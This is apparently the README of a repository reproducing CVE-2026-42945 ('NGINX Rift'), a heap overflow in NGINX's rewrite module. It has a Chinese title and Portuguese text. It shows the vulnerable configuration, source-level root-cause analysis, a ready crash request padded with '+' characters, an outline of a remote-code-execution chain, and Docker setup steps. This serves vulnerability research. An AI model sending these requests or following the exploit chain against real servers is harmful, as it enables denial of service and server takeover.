
NGINX Rift 漏洞分析与复现
A CVE-2026-42945 (codinome "NGINX Rift") é uma vulnerabilidade de estouro de buffer no heap existente no ngx_http_rewrite_module do NGINX, com pontuação CVSS v4 9.2 (Crítica).
A vulnerabilidade foi descoberta pela equipe de pesquisa de segurança depthfirst em abril de 2026, permanecendo latente por 18 anos desde sua introdução no NGINX 0.6.27 em 2008.
A vulnerabilidade exige o seguinte padrão de configuração do NGINX para ser acionada:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
Condições principais:
rewrite contém ? (ponto de interrogação)set subsequente referencia um grupo de captura de expressão regular (como $1)+, &, %, etc.)O mecanismo de scripts do NGINX usa processamento em duas fases para executar as diretivas rewrite/set:
O núcleo da vulnerabilidade está na inconsistência de estado do mecanismo entre as duas fases:
rewrite define o sinalizador is_argsQuando a string de substituição da diretiva rewrite contém ?, a função ngx_http_script_start_args_code define:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // Definido permanentemente, nunca é redefinido!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set usa um novo sub-mecanismoQuando a diretiva set subsequente referencia um grupo de captura, ngx_http_script_complex_value_code cria um sub-mecanismo totalmente zerado:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
Cálculo de comprimento (usando o sub-mecanismo le, is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0, condição falsa, executa o ramo else
return cap[n + 1] - cap[n]; // Retorna o comprimento original (sem escape)
}
Cópia real (usando o mecanismo principal e, is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1, condição verdadeira, executa o ramo if
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// Cada caractere escapável é expandido de 1 byte para 3 bytes!
}
raw_size (comprimento original da captura)raw_size + 2 * N (N = número de caracteres escapáveis)Por exemplo, se o URI contém 100 sinais de +, a quantidade de estouro é de 200 bytes.
A forma mais simples de exploração - enviar uma requisição contendo muitos caracteres escapáveis pode causar a queda do processo worker:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
Cadeia de exploração RCE completa (requer ASLR desativado ou já contornado):
ngx_pool_t por meio da ordem das conexõescleanup: estende o estouro para sobrescrever a estrutura do pool de memória adjacentesystem() por meio do corpo de uma requisição POSTngx_destroy_poolA arquitetura multiprocesso do NGINX torna a exploração mais confiável - após a queda do worker, o master gera um novo worker com exatamente o mesmo layout de memória.
README.md - Este arquivo, documento de análise da vulnerabilidadeDockerfile - Constrói o ambiente NGINX vulnerávelnginx.conf - Configuração do NGINX que aciona a vulnerabilidadepoc_crash.py - PoC de DoS (aciona a queda do worker)docker-compose.yml - Inicia o ambiente de teste com um comando# 1. Construir e iniciar o NGINX vulnerável
docker-compose up -d
# 2. Executar o PoC de DoS
python3 poc_crash.py
# 3. Verificar os logs de erro do NGINX para confirmar a queda
docker-compose logs nginx
Este material é destinado exclusivamente a fins de pesquisa em segurança e educação. Não utilize estas informações para ataques não autorizados.